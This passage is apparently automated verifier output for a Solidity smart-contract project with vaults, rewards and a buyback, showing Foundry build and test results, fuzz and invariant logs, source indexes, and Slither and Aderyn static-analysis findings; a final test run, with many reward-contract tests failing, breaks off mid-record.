result 816556948285906101\n  Bound result 15362\n  Bound result 171238\n  Bound result 20480\n  Bound result 1871\n  Bound result 2128\n  Bound result 100\n  Bound result 13736\n  Bound result 7526417\n  Bound result 29806416288090\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.84s (4.83s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 12173\n  Bound result 5999\n  Bound result 226\n  Bound result 522623148\n  Bound result 100\n  Bound result 96\n  Bound result 177\n  Bound result 845\n  Bound result 9029\n  Bound result 848\n  Bound result 52\n  Bound result 9\n  Bound result 250\n  Bound result 8\n  Bound result 2835717307\n  Bound result 11\n  Bound result 0\n  Bound result 868\n  Bound result 755\n  Bound result 2065\n  Bound result 392\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 1909\n  Bound result 856\n  Bound result 2103\n  Bound result 91\n  Bound result 2903\n  Bound result 428088656046084874308210\n  Bound result 253\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.90s (5.89s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 5760\n  Bound result 2455585789711282172791043\n  Bound result 11811\n  Bound result 4930\n  Bound result 2400\n  Bound result 1\n  Bound result 461465953024892240111475\n  Bound result 1\n  Bound result 11609\n  Bound result 1151\n  Bound result 143\n  Bound result 46\n  Bound result 1\n  Bound result 1\n  Bound result 253\n  Bound result 4929\n  Bound result 6376\n  Bound result 5309\n  Bound result 1\n  Bound result 461924\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 10954\n  Bound result 140371493\n  Bound result 1800000000\n  Bound result 54\n  Bound result 1\n  Bound result 1\n  Bound result 10601\n  Bound result 11593\n  Bound result 825\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 5460\n  Bound result 1\n  Bound result 1194\n  Bound result 7537125859116\n  Bound result 10280\n  Bound result 4788\n  Bound result 11267\n  Bound result 2\n  Bound result 804662757645848132\n  Bound result 1693\n  Bound result 1245992276\n  Bound result 1128\n  Bound result 3541154872\n  Bound result 1\n  Bound result 2\n  Bound result 1366\n  Bound result 819112176276814961343889\n  Bound result 7261030748857569184\n  Bound result 11000000000000000000\n  Bound result 4586\n  Bound result 5578\n  Bound result 2503\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 1\n  Bound result 900000000000000000000\n  Bound result 11904\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.77s (10.77s CPU time)\n\nRan 18 test suites in 10.78s (28.86s CPU time): 95 tests passed, 0 failed, 1 skipped (96 total tests)\n","passed":true},{"durationMs":197,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.onLaunchFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"SIMDVault.onLaunchResult(bytes32,bytes32,string)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":118,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":33,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"launch.json\":10,\"remappings.txt\":4,\"src/CompensationVault.sol\":241,\"src/HolderRewards.sol\":312,\"src/JobsVault.sol\":54,\"src/Network.sol\":17,\"src/SIMDVault.sol\":172,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":34,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":429,\"test/CompensationFailures.t.sol\":209,\"test/CompensationPriceBand.t.sol\":196,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":221,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":370,\"test/JobsStateful.t.sol\":195,\"test/JobsVault.t.sol\":151,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":261,\"test/SIMDVault.t.sol\":251,\"test/TESTING.md\":72,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":239,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":294,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"231ce8a1429579494f3d5e332218c7c9987123cbbc972a31329c76e621838f47","verifiedTreeHash":"555d404d0a438e4a30de68b24100a4a87212a007","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":110388,"exitCode":0,"name":"build","output":"Compiling 113 files with Solc 0.8.26\nSolc 0.8.26 finished in 110.17s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:135:10:\n    |\n135 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:190:9:\n    |\n190 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":1069,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 1.17ms (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.92ms (1.01ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29919278)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 69.60ms (69.36ms CPU time)\n\nRan 12 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920837)\n[PASS] testBoundLaunchCannotBeReopenedByALateFailure() (gas: 733625)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1641621, ~: 804428)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868535)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 558337)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 126245)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3098677)\n[PASS] testRefusedLaunchReopensTheOneTimeCallAndOnlyIntakeForTheOwnRequest() (gas: 977243)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686780)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 825544)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3043056)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3532009)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 110.29ms (124.67ms CPU time)\n\nRan 7 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4BandEdgeFrontRunCannotEndOrDelayTheBuyback() (gas: 6047342)\n[PASS] testRealV4InBandSandwichDoesNotRatchetTheReference() (gas: 9118904)\n[PASS] testRealV4PushedPriceMovesReferenceOneStepPerIntervalAndFillsNothing() (gas: 4435693)\n[PASS] testRealV4ThinPoolPartialFillsAreNotTranchesAndOnlyTheWindowEndsBuyback() (gas: 59720398)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4279190)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4269679)\n[PASS] testUninitializedPoolCannotBind() (gas: 229538)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 125.60ms (106.97ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2547385)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2277665)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1792312)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1913585, ~: 1914093)\nLogs:\n  Bound result 9468\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 984414)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2080158)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 559876)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 128.00ms (125.43ms CPU time)\n\nRan 7 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1207458)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663610)\n[PASS] testNoVaultWideCapStarvesAnEligibleHolder() (gas: 6122748)\n[PASS] testNoVaultWideSelectorsExist() (gas: 370363)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384635)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1228169)\n[PASS] testSixDecimalsThreshold() (gas: 1235008)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 187.86ms (7.98ms CPU time)\n\nRan 19 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2937961)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3838272)\n[PASS] testCarryFundedEpochPaysItsOwnOracleRequest() (gas: 4453164)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3218360)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3211392)\n[PASS] testEmptyRootCanRollOver() (gas: 2918870)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2824268)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3075252, ~: 3072700)\nLogs:\n  Bound result 1896482744686485\n  Bound result 1582317293091315\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2802547)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144484)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4048086)\n[PASS] testRetrySponsorPaysAndEarlierRequestStillAnswersExactlyOnce() (gas: 4306652)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4111307)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6469407)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2798580)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3173022)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2846204)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3019157)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2842681)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 259.84ms (395.82ms CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n VaultInvariantsTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| VaultHandler | advance        | 350   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | buyback        | 309   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | distribute     | 336   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | requestJob     | 334   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | rollover       | 365   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | settleAndClaim | 354   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 2447209287\n  Bound result 2420\n  Bound result 1\n  Bound result 1\n  Bound result 3803\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 254\n  Bound result 1\n  Bound result 2\n  Bound result 1614\n  Bound result 1\n  Bound result 9738\n  Bound result 1\n  Bound result 625112\n  Bound result 137095237273775517\n  Bound result 59096\n  Bound result 12345\n  Bound result 1390\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 831.63ms (822.80ms CPU time)\n\nRan 9 test suites in 834.71ms (1.72s CPU time): 61 tests passed, 0 failed, 1 skipped (62 total tests)\n","passed":true},{"durationMs":134,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.onLaunchFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"SIMDVault.onLaunchResult(bytes32,bytes32,string)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":122,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":33,\"docs/VERIFICATION.md\":21,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":249,\"src/HolderRewards.sol\":312,\"src/JobsVault.sol\":54,\"src/Network.sol\":17,\"src/SIMDVault.sol\":172,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":34,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/CompensationVault.t.sol\":233,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":370,\"test/JobsVault.t.sol\":151,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":179,\"test/SIMDVault.t.sol\":251,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":407,\"test/VaultInvariants.t.sol\":140,\"test/mocks/Mocks.sol\":294,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":18672,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/CompensationVault.sol:100: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#100-160):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:100: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#100-160):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:100: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#100-160):\n[medium/high] incorrect-equality at src/CompensationVault.sol:100: CompensationVault.buyback() (src/CompensationVault.sol#100-160) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:169: CompensationVault.unlockCallback(bytes) (src/CompensationVault.sol#169-200) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:202: CompensationVault.airdrop(address[],uint256[],bytes32[][]) (src/CompensationVault.sol#202-231) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:100: CompensationVault.buyback() (src/CompensationVault.sol#100-160) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:100: CompensationVault.buyback() (src/CompensationVault.sol#100-160) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/CompensationVault.sol:100: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#100-160):\n[medium/medium] reentrancy-no-eth at src/HolderRewards.sol:263: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#263-284):\n[medium/medium] uninitialized-local at src/HolderRewards.sol:94: HolderRewards.onDeposit(uint256).carry (src/HolderRewards.sol#94) is a local variable never initialized\n[medium/medium] unused-return at src/CompensationVault.sol:73: CompensationVault.setLaunch(address,PoolKey) (src/CompensationVault.sol#73-87) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(key.toId()) (src/CompensationVault.sol#80)\n[medium/medium] unused-return at src/CompensationVault.sol:100: CompensationVault.buyback() (src/CompensationVault.sol#100-160) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(poolKey.toId()) (src/CompensationVault.sol#124)\n[medium/medium] unused-return at src/SIMDVault.sol:130: SIMDVault.bindLaunch(uint64,address) (src/SIMDVault.sol#130-141) ignores return value by (key,None,None,requester) = ILaunchFactory(FACTORY).positionOf(number) (src/SIMDVault.sol#132)\n[medium/medium] unused-return at src/SIMDVault.sol:143: SIMDVault.distribute() (src/SIMDVault.sol#143-171) ignores return value by ILaunchFactory(FACTORY).claimFees{gas: CLAIM_GAS_LIMIT}(launchNumber) (src/SIMDVault.sol#147-150)\n[low/high] shadowing-local at src/CompensationVault.sol:190: CompensationVault.unlockCallback(bytes).paid (src/CompensationVault.sol#190) shadows:\n[low/high] shadowing-local at src/CompensationVault.sol:135: CompensationVault.buyback().paid (src/CompensationVault.sol#135) shadows:\n[low/medium] events-maths at src/JobsVault.sol:33: JobsVault.setToken(address) (src/JobsVault.sol#33-38) should emit an event for: \n[low/medium] missing-zero-check at src/SIMDVault.sol:130: SIMDVault.bindLaunch(uint64,address).token_ (src/SIMDVault.sol#130) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/HolderRewards.sol:263: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#263-284):\n[low/medium] reentrancy-benign at src/SIMDVault.sol:84: Reentrancy in SIMDVault.launch(bytes) (src/SIMDVault.sol#84-104):\n[low/medium] reentrancy-benign at src/CompensationVault.sol:100: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#100-160):\n[low/medium] reentrancy-events at src/HolderRewards.sol:263: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#263-284):\n[low/medium] timestamp at src/JobsVault.sol:40: JobsVault.requestJob(bytes) (src/JobsVault.sol#40-53) uses timestamp for comparisons\n[low/medium] timestamp at src/HolderRewards.sol:127: HolderRewards.retryOracle(uint256) (src/HolderRewards.sol#127-136) uses timestamp for comparisons\n[low/medium] timestamp at src/HolderRewards.sol:185: HolderRewards.rollover(uint256) (src/HolderRewards.sol#185-200) uses timestamp for comparisons\n[low/medium] timestamp at src/SIMDVault.sol:143: SIMDVault.distribute() (src/SIMDVault.sol#143-171) uses timestamp for comparisons\n[low/medium] timestamp at src/oracle/OracleAttestation.sol:164: OracleAttestationConsumer._verifyAttestation(OracleAttestation.Attestation,bytes) (src/oracle/OracleAttestation.sol#164-175) uses timestamp for comparisons\n[low/medium] timestamp at src/CompensationVault.sol:100: CompensationVault.buyback() (src/CompensationVault.sol#100-160) uses timestamp for comparisons","passed":true},{"durationMs":1497,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/SIMDVault.sol:143: ETH transferred without address checks\n[high] reentrancy-state-change at src/CompensationVault.sol:109: Reentrancy: State change after external call (16 places)\n[low] costly-loop at src/CompensationVault.sol:218: Costly operations inside loop\n[low] internal-function-used-once at src/oracle/OracleAttestation.sol:205: Internal Function Used Only Once (2 places)\n[low] large-numeric-literal at src/CompensationVault.sol:32: Large Numeric Literal (8 places)\n[low] literal-instead-of-constant at src/HolderRewards.sol:153: Literal Instead of Constant (23 places)\n[low] local-variable-shadowing at src/CompensationVault.sol:135: Local Variable Shadows State Variable (2 places)\n[low] non-reentrant-not-first at src/HolderRewards.sol:89: `nonReentrant` is Not the First Modifier (3 places)\n[low] require-revert-in-loop at src/CompensationVault.sol:218: Loop Contains `require`/`revert` (3 places)\n[low] state-change-without-event at src/CompensationVault.sol:169: State Change Without Event\n[low] state-no-address-check at src/SIMDVault.sol:135: Address State Variable Set Without Checks\n[low] uninitialized-local-variable at src/CompensationVault.sol:218: Uninitialized Local Variable (5 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"5814dcec38acb5bbf4557752a3822601d58e65695eec18b86a62a70e51488aa6","verifiedTreeHash":"90d1c70a4d1ddc4362e9b00afd5196d5e71754f9","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":46012,"exitCode":0,"name":"build","output":"Compiling 118 files with Solc 0.8.26\nSolc 0.8.26 finished in 45.90s\nCompiler run successful!\n","passed":true},{"durationMs":372,"exitCode":1,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 316.46µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3381)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13231)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 19285)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 704.69µs (455.50µs CPU time)\n\nRan 5 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdVaultPaysNoCallbackAndPerWalletDailyBoundary() (gas: 1408187)\n[PASS] testHoldingRequirementUsesTokenDecimals() (gas: 986562)\n[PASS] testInvalidBodyAndUnsoldActionRevertWithoutCooldown() (gas: 588354)\n[PASS] testRejectedPaymentDoesNotConsumeDailySlotAndNoReentrancy() (gas: 1021435)\n[PASS] testUnconfiguredAndBelowThresholdCannotSpend() (gas: 456095)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.72ms (2.22ms CPU time)\n\nRan 3 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4UnlockSettlementAndTenSwapsTokenAsCurrencyOne() (gas: 3488340)\n[PASS] testRealV4UnlockSettlementAndTenSwapsTokenAsCurrencyZero() (gas: 3476732)\n[PASS] testUninitializedPoolCannotBeBound() (gas: 569423)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.91ms (6.13ms CPU time)\n\nRan 16 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[FAIL: EvmError: Revert] testAggregateClaimsCannotExceedPotEvenWhenEachClaimFits() (gas: 270084)\n[FAIL: EvmError: Revert] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 269908)\n[FAIL: EvmError: Revert] testBadExpiredFutureAndTamperedSignaturesRejected() (gas: 270326)\n[FAIL: EvmError: Revert] testDepositRequestsCanonicalBodyAtDepositArbitrumBlock() (gas: 270737)\n[FAIL: EvmError: Revert] testEvenSignedOversizedTreeCannotDrainAnotherEpoch() (gas: 270172)\n[FAIL: EvmError: Revert; counterexample: calldata=0x3ad5da2a00000000000000000000000000000000000000000002966dfb8f8f31793c02300000000000000000000000000000000000000000000000000000000000000035 args=[3128235433628207312273968 [3.128e24], 53]] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 0, μ: 0, ~: 0)\nLogs:\n  Bound result 3128235433628207312273968\n  Bound result 53\n\n[FAIL: EvmError: Revert] testLateCallbackCannotReviveClosedEpoch() (gas: 270194)\n[FAIL: EvmError: Revert] testOnlyIntakeUnknownRequestAndReplayChecks() (gas: 270238)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochs() (gas: 117570)\n[FAIL: EvmError: Revert] testOversizedRootCannotSpendCarryReservedForNextSnapshot() (gas: 270128)\n[FAIL: EvmError: Revert] testRetryPaysFromSponsorNotPotsAndInvalidatesOldIntakeId() (gas: 270150)\n[FAIL: EvmError: Revert] testRolloverExactlyUnclaimedClosesOldAndCarryBecomesNextSnapshot() (gas: 270412)\n[FAIL: EvmError: Revert] testSmallDepositNeverSpendsOlderEpochReserve() (gas: 269974)\n[FAIL: EvmError: Revert] testSnapshotPayoutDoesNotDependOnCurrentHoldingAndDoubleClaimFails() (gas: 399434)\n[FAIL: EvmError: Revert] testUnansweredAndEmptyRootEpochsCanRollOverWithoutOracle() (gas: 270436)\n[FAIL: EvmError: Revert] testWrongChainBlockAnswerTypeAndWeakPanelRejected() (gas: 269886)\nSuite result: FAILED. 1 